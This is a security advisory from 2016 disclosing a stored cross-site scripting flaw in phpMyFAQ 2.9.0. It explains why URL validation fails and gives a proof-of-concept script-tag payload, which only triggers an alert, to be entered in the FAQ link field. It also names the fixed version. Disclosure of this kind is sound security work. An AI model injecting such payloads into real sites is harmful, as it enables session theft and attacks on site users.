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942 B
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31 lines
No EOL
942 B
Text
# Exploit Title: phpMyFAQ 2.9.0 Stored XSS
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# Date: 09-06-2016
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# Software Link: http://www.phpmyfaq.de/
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# Exploit Author: Kacper Szurek
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# Contact: http://twitter.com/KacperSzurek
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# Website: http://security.szurek.pl/
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# Category: webapps
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1. Description
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PHP `filter_input()` function with `FILTER_VALIDATE_URL` flag is used to validate url inside `savefaq` functionality.
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But this function doesn’t protect against XSS.
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http://security.szurek.pl/phpmyfaq-290-stored-xss.html
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2. Proof of Concept
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By default every user can propose faq entries.
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When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page:
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http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl
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For exploitation use folowing url inside Link for this FAQ field:
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http://example.com/"><script>alert("xss")</script>
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3. Solution:
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Update to version 2.9.1 |